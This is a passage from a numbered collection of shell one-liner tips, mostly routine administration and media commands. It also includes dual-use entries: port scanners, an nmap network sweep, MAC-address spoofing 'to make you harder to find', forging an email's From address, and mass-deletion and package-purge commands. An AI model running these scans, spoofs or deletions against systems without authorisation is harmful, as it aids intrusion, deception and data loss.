  3616. man -t man | ps2pdf - > man.pdf
  3617.  
  3618.  
  3619.  
  3620. # ssh autocomplete
  3621. complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
  3622.  
  3623. # Encrypted archive with openssl and tar
  3624. tar c folder_to_encrypt | openssl enc -aes-256-cbc -e > secret.tar.enc
  3625.  
  3626. # Mount a partition from within a complete disk dump
  3627. lomount -diskimage /path/to/your/backup.img -partition 1 /mnt/foo
  3628.  
  3629. # Takes an html file and outputs plain text from it
  3630. lynx -dump somefile.html
  3631.  
  3632. # Resets your MAC to a random MAC address to make you harder to find.
  3633. ran=$(head /dev/urandom | md5sum); MAC=00:07:${ran:0:2}:${ran:3:2}:${ran:5:2}:${ran:7:2}; sudo ifconfig wlan0 down hw ether $MAC; sudo ifconfig wlan0 up; echo ifconfig wlan0:0
  3634.  
  3635. # zsh only: access a file when you don't know the path, if it is in PATH
  3636. file =top
  3637.  
  3638. # A bit of privacy in .bash_history
  3639. export HISTCONTROL=ignoreboth
  3640.  
  3641. # Format ps command output
  3642. ps ax -o "%p %U %u %x %c %n"
  3643.  
  3644. # Using the urxvt terminal daemon
  3645. urxvtd -q -o -f
  3646.  
  3647. # ignore hidden directory in bash completion (e.g. .svn)
  3648. bind 'set match-hidden-files off'
  3649.  
  3650. # Search through files, ignoring .svn
  3651. find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
  3652.  
  3653. # Colorize matching string without skipping others
  3654. egrep --color=auto 'usb|' /var/log/messages
  3655.  
  3656. # List programs with open ports and connections
  3657. netstat -ntauple
  3658.  
  3659. # quickly backup or copy a file with bash
  3660. cp -bfS.bak filename filename
  3661.  
  3662. # stop windows update
  3663. runas /user:administrator net stop wuauserv
  3664.  
  3665. # Update your OpenDNS network ip
  3666. wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
  3667.  
  3668. # show installed but unused linux headers, image, or modules
  3669. dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
  3670.  
  3671. # detach remote console for long running operations
  3672. dtach -c /tmp/wires-mc mc
  3673.  
  3674. # Paste the contents of OS X clipboard into a new text file
  3675. pbpaste > newfile.txt
  3676.  
  3677. # extract email adresses from some file (or any other pattern)
  3678. grep -Eio '([[:alnum:]_.]+@[[:alnum:]_]+?\.[[:alpha:].]{2,6})' file.html
  3679.  
  3680. # Count to 65535 in binary (for no apparent reason)
  3681. a=`printf "%*s" 16`;b=${a//?/{0..1\}}; echo `eval "echo $b"`
  3682.  
  3683. # For a $FILE, extracts the path, filename, filename without extension and extension.
  3684. FILENAME=`echo ${FILE##*/}`;FILEPATH=`echo ${FILE%/*}`;NOEXT=`echo ${FILENAME%\.*}`;EXT=`echo ${FILE##*.}`
  3685.  
  3686. # Huh? Where did all my precious space go ?
  3687. ls -la | sort -k 5bn
  3688.  
  3689. # Convert the output of one or more (log, source code ...) files into html,
  3690. enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log
  3691.  
  3692. # Monitor logs in Linux using Tail
  3693. find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f
  3694.  
  3695.  
  3696.  
  3697. # Get yesterday's date or a previous time
  3698. date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
  3699.  
  3700. # Randomize lines in a file
  3701. awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-
  3702.  
  3703. # Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
  3704. zip -vr example.zip example/ -x "*.DS_Store"
  3705.  
  3706. # Filter IPs out of files
  3707. egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt
  3708.  
  3709. # display typedefs, structs, unions and functions provided by a header file
  3710. cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
  3711.  
  3712. # What is My WAN IP?
  3713. curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
  3714.  
  3715. # Skip over .svn directories when using the "find" command.
  3716. find . -not \( -name .svn -prune \)
  3717.  
  3718. # Notify me when users log in
  3719. notifyme -C `cat /etc/passwd | cut -d: -f1`
  3720.  
  3721. # Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
  3722. sed -i 'your sed stuff here' file
  3723.  
  3724. # Function that counts recursively number of lines of all files in specified folders
  3725. count() { find $@ -type f -exec cat {} + | wc -l; }
  3726.  
  3727. # Check if a process is running
  3728. kill -0 [pid]
  3729.  
  3730. # Send a binary file as an attachment to an email
  3731. uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
  3732.  
  3733. # Record live sound in Vorbis (eg for bootlegs or to take audio notes)
  3734. rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
  3735.  
  3736. # Go to the next sibling directory in alphabetical order
  3737. for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done
  3738.  
  3739. # Dumping Audio stream from flv (using mplayer)
  3740. $ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv
  3741.  
  3742. # Validate and pretty-print JSON expressions.
  3743. echo '{"json":"obj"}' | python -m simplejson.tool
  3744.  
  3745. # en/decrypts files in a specific directory
  3746. for a in path/* ; do ccenrypt -K <password> $a; done
  3747.  
  3748. # Random line from bash.org (funny IRC quotes)
  3749. curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1
  3750.  
  3751. # Which fonts are installed?
  3752. fc-list | cut -d ':' -f 1 | sort -u
  3753.  
  3754. # Scale,Rotate, brightness, contrast,...with Image Magick
  3755. convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png
  3756.  
  3757. # Replace Solaris vmstat numbers with human readable format
  3758. vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
  3759.  
  3760. # Find status of all symlinks
  3761. symlinks -r $(pwd)
  3762.  
  3763. # Convert a flv video file to avi using mencoder
  3764. mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi
  3765.  
  3766. # Show the UUID of a filesystem or partition
  3767. sudo vol_id -u /dev/sda1
  3768.  
  3769. # Avoiding history file to be overwritten
  3770. shopt -s histappend
  3771.  
  3772.  
  3773.  
  3774. # Apache memory usage
  3775. ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'
  3776.  
  3777. # Securely destroy data (including whole hard disks)
  3778. shred targetfile
  3779.  
  3780. # output list of modifications for an svn revision
  3781. svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
  3782.  
  3783. # Propagate a directory to another and create symlink to content
  3784. lndir sourcedir destdir
  3785.  
  3786. # need ascii art pictures for you readme text ?
  3787. boxes -d dog or cowsay -f tux $M
  3788.  
  3789. # decoding Active Directory date format
  3790. ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'
  3791.  
  3792. # Find a file's package or list a package's contents.
  3793. dlocate [ package | string ]
  3794.  
  3795. # Mount directories in different locations
  3796. mount --bind /old/directory/path /new/directory/path
  3797.  
  3798. # Eliminate dead symlinks interactively in /usr/ recursevely
  3799. find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;
  3800.  
  3801. # Show the power of the home row on the Dvorak Keyboard layout
  3802. egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words
  3803.  
  3804. # get the top 10 longest filenames
  3805. find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF " " $0 } ' | sort -nrf | head -10
  3806.  
  3807. # Quick case-insenstive partial filename search
  3808. alias lg='ls --color=always | grep --color=always -i'
  3809.  
  3810. # Search for a word in less
  3811. \bTERM\b
  3812.  
  3813. # Identify name and resolution of all jpgs in current directory
  3814. identify -verbose *.jpg|grep "\(Image:\|Resolution\)"
  3815.  
  3816. # Get information about a video file
  3817. mplayer -vo dummy -ao dummy -identify your_video.avi
  3818.  
  3819. # Remove today's installed packages
  3820. grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge
  3821.  
  3822. # See most used commands
  3823. history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
  3824.  
  3825. # Show the date of easter
  3826. ncal -e
  3827.  
  3828. # automount samba shares as devices in /mnt/
  3829. sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino
  3830.  
  3831. # Show the 20 most CPU/Memory hungry processes
  3832. ps aux | sort +2n | tail -20
  3833.  
  3834. # Generate random passwords (from which you may select "memorable" ones)
  3835. pwgen
  3836.  
  3837. # Download from Rapidshare Premium using wget - Part 1
  3838. wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
  3839.  
  3840. # Move all comments the top of the file in vim
  3841. :g:^\s*#.*:m0
  3842.  
  3843. # add a gpg key to aptitute package manager in a ubuntu system
  3844. wget -q http://xyz.gpg -O- | sudo apt-key add -
  3845.  
  3846. # Calculating series with awk: add numbers from 1 to 100
  3847. seq 100 | awk '{sum+=$1} END {print sum}'
  3848.  
  3849.  
  3850.  
  3851. # Print out a man page
  3852. man -t man | lp
  3853.  
  3854. # Record your desktop
  3855. xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto
  3856.  
  3857. # Show all machines on the network
  3858. nmap 192.168.0-1.0-255 -sP
  3859.  
  3860. # copy/mkdir and automatically create parent directories
  3861. cp --parents /source/file /target-dir
  3862.  
  3863. # Convert .flv to .3gp
  3864. ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
  3865.  
  3866. # watch iptables counters
  3867. watch 'iptables -vL'
  3868.  
  3869. # Sort files by size
  3870. ls -l | sort -nk5
  3871.  
  3872. # Gets the last string of previous command with !$
  3873. $mkdir mydir -> mv !$ yourdir -> $cd !$
  3874.  
  3875. # Show directories in the PATH, one per line
  3876. ( IFS=:; for p in $PATH; do echo $p; done )
  3877.  
  3878. # Substitute spaces in filename with underscore
  3879. ls -1 | rename 's/\ /_/'
  3880.  
  3881. # Debug bash shell scripts.
  3882. bash -x SCRIPT
  3883.  
  3884. # kill all processes using a directory/file/etc
  3885. lsof|grep /somemount/| awk '{print $2}'|xargs kill
  3886.  
  3887. # List all process running a specfic port
  3888. sudo lsof -i :<port>
  3889.  
  3890. # list all executables in your path
  3891. ls `echo $PATH | sed 's/:/ /g'`
  3892.  
  3893. # Tweak system files without invoking a root shell
  3894. echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg
  3895.  
  3896. # Create a self-extracting archive for win32 using 7-zip
  3897. cat /path/to/7z.sfx /path/to/archive > archive.exe
  3898.  
  3899. # Delete files older than..
  3900. find /dir_name -mtime +5 -exec rm {} \
  3901.  
  3902. # Show latest changed files
  3903. ls -ltcrh
  3904.  
  3905. # lsof equivalent on solaris
  3906. /usr/proc/bin/pfiles $PID
  3907.  
  3908. # Batch resize all images in the current directory that are bigger than 800px, height or weight.
  3909. mogrify -resize 800\> *
  3910.  
  3911. # Convert video files to XviD
  3912. mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi
  3913.  
  3914. # Resize A Mounted EXT3 File System
  3915. v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
  3916.  
  3917. # VMware Server print out the state of all registered Virtual Machines.
  3918. for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done
  3919.  
  3920. # Mount proc
  3921. mount -t proc{,,}
  3922.  
  3923. # Load another file in vim
  3924. :split <file>
  3925.  
  3926.  
  3927.  
  3928. # Create an ISO Image from a folder and burn it to CD
  3929. hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
  3930.  
  3931. # netcat as a portscanner
  3932. nc -v -n -z -w 1 127.0.0.1 22-1000
  3933.  
  3934. # Random play a mp3 file
  3935. mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
  3936.  
  3937. # split a string (1)
  3938. ARRAY=(aa bb cc);echo ${ARRAY[1]}
  3939.  
  3940. # restore the contents of a deleted file for which a descriptor is still available
  3941. N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"
  3942.  
  3943. # Unix alias for date command that lets you create timestamps in ISO 8601 format
  3944. alias timestamp='date "+%Y%m%dT%H%M%S"'
  3945.  
  3946. # Find the processes that are on the runqueue. Processes with a status of
  3947. ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"
  3948.  
  3949. # ps a process keeping the header info so you know what the columns of numbers mean!
  3950. ps auxw |egrep "PID|process_to_look_at"
  3951.  
  3952. # count processes with status "D" uninterruptible sleep
  3953. top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'
  3954.  
  3955. # nmap IP block and autogenerate comprehensive Nagios service checks
  3956. nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg
  3957.  
  3958. # HTTP redirect
  3959. while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done
  3960.  
  3961. # open a seperate konsole tab and ssh to each of N servers (konsole 4.2+)
  3962. for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done
  3963.  
  3964. # take execution time of several commands
  3965. time { <command1> ; <command2> ; <command...> ; }
  3966.  
  3967. # Convert file type to unix utf-8
  3968. ex some_file "+set ff=unix fileencoding=utf-8" "+x"
  3969.  
  3970. # Summarize Apache Extended server-status to show longest running requests
  3971. links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
  3972.  
  3973. # Count down from 10
  3974. for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done
  3975.  
  3976. # diff two sorted files
  3977. diff <(sort file1.txt) <(sort file2.txt)
  3978.  
  3979. # Command line progress bar
  3980. tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz
  3981.  
  3982. # Cleanup Python bytecode files
  3983. find . -name "*.py[co]" -exec rm -f {} \;
  3984.  
  3985. # Change the ownership of all files owned by one user.
  3986. find /home -uid 1056 -exec chown 2056 {} \;
  3987.  
  3988. # Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file.
  3989. find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out
  3990.  
  3991. # Forward port 8888 to remote machine for SOCKS Proxy
  3992. ssh -D 8888 user@site.com
  3993.  
  3994. # for newbies, how to get one line info about all /bin programs
  3995. ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"
  3996.  
  3997. # Compress files found with find
  3998. find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz
  3999.  
  4000. # Convert Unix newlines to DOS newlines
  4001. sed 's/$/<ctrl+v><ctrl+m>/'
  4002.  
  4003.  
  4004.  
  4005. # gpg encrypt a file
  4006. gpg --encrypt --recipient 'Foo Bar' foo.txt
  4007.  
  4008. # Open up a man page as PDF (#OSX)
  4009. function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }
  4010.  
  4011. # Know which modules are loaded on an Apache server
  4012. apache2 -t -D DUMP_MODULES
  4013.  
  4014. # Do a command but skip recording it in the bash command history
  4015. _cd ~/nsfw; mplayer midget_donkey.mpeg
  4016.  
  4017. # Lists all directories under the current dir excluding the .svn directory and its contents
  4018. find . \( -type d -name .svn -prune \) -o -type d -print
  4019.  
  4020. # Tired of switching between proxy and no proxy? here's the solution.
  4021. iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128
  4022.  
  4023. # Unixtime
  4024. date +%s
  4025.  
  4026. # take a look to command before action
  4027. find /tmp -type f -printf 'rm "%p";\n'
  4028.  
  4029. # Add existing user to a group
  4030. usermod -a -G groupname username
  4031.  
  4032. # Generate diff of first 500 lines of two files
  4033. diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)
  4034.  
  4035. # Remove EXIF data from images with progress
  4036. i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done
  4037.  
  4038. # Look for IPv4 address in files.
  4039. alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
  4040.  
  4041. # Undo several commits by committing an inverse patch.
  4042. git diff HEAD..rev | git apply --index; git commit
  4043.  
  4044. # fuman, an alternative to the 'man' command that shows commandlinefu.com examples
  4045. fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }
  4046.  
  4047. # Get My Public IP Address
  4048. wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
  4049.  
  4050. # Reconnect to screen without disconnecting other sessions
  4051. screen -xR
  4052.  
  4053. # Clear mistyped passwords from password prompt
  4054. ^u
  4055.  
  4056. # Find and list users who talk like "lolcats"
  4057. cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"
  4058.  
  4059. # Add all unversioned files to svn
  4060. svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1
  4061.  
  4062. # vimdiff to remotehost
  4063. vimdiff tera.py <(ssh -A testserver "cat tera.py")
  4064.  
  4065. # Count the number of characters in each line
  4066. awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
  4067.  
  4068. # list your device drivers
  4069. lspci -vv
  4070.  
  4071. # bulk dl files based on a pattern
  4072. curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg
  4073.  
  4074. # Create a zip archive excluding all SVN folders
  4075. zip -r myfile.zip * -x \*.svn\*
  4076.  
  4077. # Simplest port scanner
  4078. for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
  4079.  
  4080.  
  4081.  
  4082. # Lock the hardware eject button of the cdrom
  4083. eject -i 1
  4084.  
  4085. # Show interface/ip using awk
  4086. ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
  4087.  
  4088. # Hex math with bc
  4089. echo 'obase=16; C+F' | bc
  4090.  
  4091. # List all installed PERL modules by CPAN
  4092. perldoc perllocal
  4093.  
  4094. # Grab a list of MP3s out of Firefox's cache
  4095. for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
  4096.  
  4097. # Change the homepage of Firefox
  4098. sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js
  4099.  
  4100. # In place line numbering
  4101. { rm -f file10 && nl > file10; } < file10
  4102.  
  4103. # Find out what the day ends in
  4104. date +%A | tail -2c
  4105.  
  4106. # Disconnect telnet
  4107. telnet somehost 1234, <ctrl+5> close
  4108.  
  4109. # ssh: change directory while connecting
  4110. ssh -t server 'cd /etc && $SHELL'
  4111.  
  4112. # Makes the permissions of file2 the same as file1
  4113. getfacl file1 | setfacl --set-file=- file2
  4114.  
  4115. # Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
  4116. echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config
  4117.  
  4118. # Limit bandwidth usage by any program
  4119. trickle -d 60 wget http://very.big/file
  4120.  
  4121. # Google URL shortener
  4122. curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'
  4123.  
  4124. # List manually installed packages (excluding Essentials)
  4125. aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4
  4126.  
  4127. # Restore mysql database uncompressing on the fly.
  4128. mysql -uroot -p'passwd' database < <(zcat database.sql.gz)
  4129.  
  4130. # Delete C style comments using vim
  4131. vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
  4132.  
  4133. # get only time of execution of a command without his output
  4134. time Command >/dev/null
  4135.  
  4136. # converting horizontal line to vertical line
  4137. tr '\t' '\n' < inputfile
  4138.  
  4139. # Merge files, joining each line in one line
  4140. paste file1 file2 fileN > merged
  4141.  
  4142. # Let's make screen and ssh-agent friends
  4143. eval `ssh-agent`; screen
  4144.  
  4145. # Tell Analytics to fuck itself.
  4146. gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }
  4147.  
  4148. # Get all mac address
  4149. ifconfig | awk '/HWaddr/ { print $NF }'
  4150.  
  4151. # Get all mac address
  4152. ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
  4153.  
  4154. # Start another instance of X via SSH
  4155. startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600
  4156.  
  4157.  
  4158.  
  4159. # Simple server which listens on a port and prints out received data
  4160. ncat -l portnumber
  4161.  
  4162. # Google Spell Checker
  4163. search='spelll'; curl -sd "<spellrequest><text>$search</text></spellrequest>" https://google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'
  4164.  
  4165. # Turn shell tracing and verbosity (set -xv) on/off with 1 command!
  4166. xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
  4167.  
  4168. # Url Encode
  4169. echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
  4170.  
  4171. # split a multi-page PDF into separate files
  4172. gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
  4173.  
  4174. # Function to split a string into an array
  4175. Split() { eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; }
  4176.  
  4177. # How many days until the end of the year
  4178. echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."
  4179.  
  4180. # nice disk usage, sorted by size, see description for full command
  4181. du -sk ./* | sort -nr
  4182.  
  4183. # Dump a web page
  4184. curl -s http://google.com | hexdump -C|less
  4185.  
  4186. # Set a posix shell to echo all commands that it's about to execute, after all expansions have been done.
  4187. set -x
  4188.  
  4189. # Get Cookies from bash
  4190. a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
  4191.  
  4192. # Recursively grep thorugh directory for string in file.
  4193. grep -r -i "phrase" directory/
  4194.  
  4195. # Extract all 7zip files in current directory taking filename spaces into account
  4196. for file in *.7z; do 7zr e "$file"; done
  4197.  
  4198. # renice by name
  4199. renice +5 -p $(pidof <process name>)
  4200.  
  4201. # Perl one liner for epoch time conversion
  4202. perl -pe's/([\d.]+)/localtime $1/e;'
  4203.  
  4204. # improve copy file over ssh showing progress
  4205. file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
  4206.  
  4207. # Change the From: address on the fly for email sent from the command-line
  4208. mail -s "subject" user@todomain.com <emailbody.txt -- -f customfrom@fromdomain.com -F 'From Display Name'
  4209.  
  4210. # Command to Show a List of Special Characters for bash prompt (PS1)
  4211. alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
  4212.  
  4213. # Copy a file using dd and watch its progress
  4214. dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done
  4215.  
  4216. # Every Nth line position # (AWK)
  4217. awk 'NR%3==1' file
  4218.  
  4219. # Rename .JPG to .jpg recursively
  4220. find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;
  4221.  
  4222. # Resize a Terminal Window
  4223. printf "\e[8;70;180;t"
  4224.  
  4225. # Print a row of 50 hyphens
  4226. perl -le'print"-"x50'
  4227.  
  4228. # Is it a terminal?
  4229. isatty(){ test -t $1; }
  4230.  
  4231. # Block all IP addresses and domains that have attempted brute force SSH login to computer
  4232. (bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
  4233.  
  4234.  
  4235.  
  4236. # cd up a number of levels
  4237. function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}
  4238.  
  4239. # Empty a file
  4240. > foobar.txt
  4241.  
  4242. # get xclip to own the clipboard contents
  4243. xclip -o -selection clipboard | xclip -selection clipboard
  4244.  
  4245. # Sniffing network to generate a pcap file in CLI mode on a remote host and open it via local Wireshark ( GUI ).
  4246. tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side
  4247.  
  4248. # create disk copy over the net without temp files
  4249. SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
  4250.  
  4251. # List the size (in human readable form) of all sub folders from the current location
  4252. du -sch ./*
  4253.  
  4254. # Find the ratio between ram usage and swap usage.
  4255. sysctl -a | grep vm.swappiness
  4256.  
  4257. # Send a local file via email
  4258. mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
  4259.  
  4260. # Find jpeg images and copy them to a central location
  4261. find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
  4262.  
  4263. # Find and copy scattered mp3 files into one directory
  4264. find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>
  4265.  
  4266. # Generate a binary file with all ones (0xff) in it
  4267. tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k
  4268.  
  4269. # determine if tcp port is open
  4270. if (nc -zw2 www.example.com 80); then echo open; fi
  4271.  
  4272. # Display Dilbert strip of the day
  4273. display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')
  4274.  
  4275. # Monitor memory usage
  4276. watch vmstat -sSM
  4277.  
  4278. # Return threads count of a process
  4279. ps -o thcount -p <process id>
  4280.  
  4281. # Mirror the NASA Astronomy Picture of the Day Archive
  4282. wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
  4283.  
  4284. # Sorted list of established destination connections
  4285. netstat | awk '/EST/{print $5}' | sort
  4286.  
  4287. # DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
  4288. mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi
  4289.  
  4290. # Burn a directory of mp3s to an audio cd.
  4291. alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
  4292.  
  4293. # Remove an IP address ban that has been errantly blacklisted by denyhosts
  4294. denyhosts-remove $IP_ADDRESS
  4295.  
  4296. # View the latest astronomy picture of the day from NASA.
  4297. apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
  4298.  
  4299. # Real time satellite wheather wallpaper
